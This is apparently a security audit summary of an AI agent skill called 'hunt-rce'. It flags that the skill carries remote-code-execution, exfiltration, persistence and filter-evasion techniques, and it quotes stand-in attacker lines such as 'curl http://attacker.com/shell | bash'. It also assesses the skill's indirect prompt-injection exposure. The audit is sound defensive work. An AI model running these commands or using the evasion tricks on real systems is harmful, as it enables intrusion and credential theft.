The Agent Skills Directory

[COMMAND_EXECUTION]: The skill contains multiple instances of high-risk command patterns that facilitate direct shell access. Specifically, it includes payloads that pipe remote content directly from untrusted domains into a bash shell, such as 'curl http://attacker.com/shell | bash' and 'curl http://attacker/x.sh | bash'.
[REMOTE_CODE_EXECUTION]: The skill provides detailed exploitation patterns for achieving remote code execution across various technologies. This includes using the SnakeYAML ScriptEngineManager gadget to load and execute an external JAR file from 'http://attacker.com/exploit.jar', as well as leveraging CVE-2022-22963 for SpEL injection and CVE-2021-41773 for Apache path traversal to RCE.
[DATA_EXFILTRATION]: Instructions are provided for exfiltrating sensitive system data to external domains. Payloads demonstrate how to send command output (e.g., from 'id', 'whoami', and 'hostname') and the contents of sensitive files (e.g., '/etc/passwd', AWS credentials, and Jenkins secret keys) to 'attacker.com', 'canarytokens.org', and user-specified OOB callback URLs via curl and nslookup.
[OBFUSCATION]: The skill documents and encourages the use of various obfuscation techniques to bypass security controls. Examples include hex-encoding commands (e.g., '$'\x63\x61\x74''), using HTML entities (e.g., ':'), and double URL encoding (e.g., '%252e%252e%252f') to evade detection filters. It also details shell metacharacter bypasses using '$IFS' and brace expansion.
[PRIVILEGE_ESCALATION]: The methodology includes steps to identify and exploit privilege escalation vectors, such as moving from low-privileged console roles to root SSH access in enterprise products or using 'hostPID: true' in Kubernetes to compromise cluster nodes.
[PERSISTENCE]: The skill describes methods for maintaining persistence on a compromised host, such as writing malicious payloads to cron directories (e.g., '/etc/cron.d/backdoor') to ensure recurring execution of attacker-controlled scripts.
[DYNAMIC_EXECUTION]: The skill leverages and provides payloads for dynamic execution sinks including 'eval()', 'new Function()', and Java's 'ScriptEngineManager'. It also details prototype pollution gadgets in Node.js that target 'child_process.spawn' to achieve execution.
[INDIRECT_PROMPT_INJECTION]: The skill establishes an attack surface for indirect prompt injection by processing external data without proper sanitization.
Ingestion points: The skill parses data from external web pages, HTML forms, JavaScript bundles, API response headers, and configuration files (nomad, syslog-ng) found on target infrastructure.
Boundary markers: There are no explicit markers or instructions to isolate or disregard potentially malicious instructions embedded within the processed data.
Capability inventory: The agent is instructed to use powerful capabilities including network requests (curl, wget), filesystem writes, and shell command execution.
Sanitization: No sanitization, escaping, or validation logic is provided to handle the content retrieved from external sources before it is interpreted by the agent or the shell environment.

hunt-rce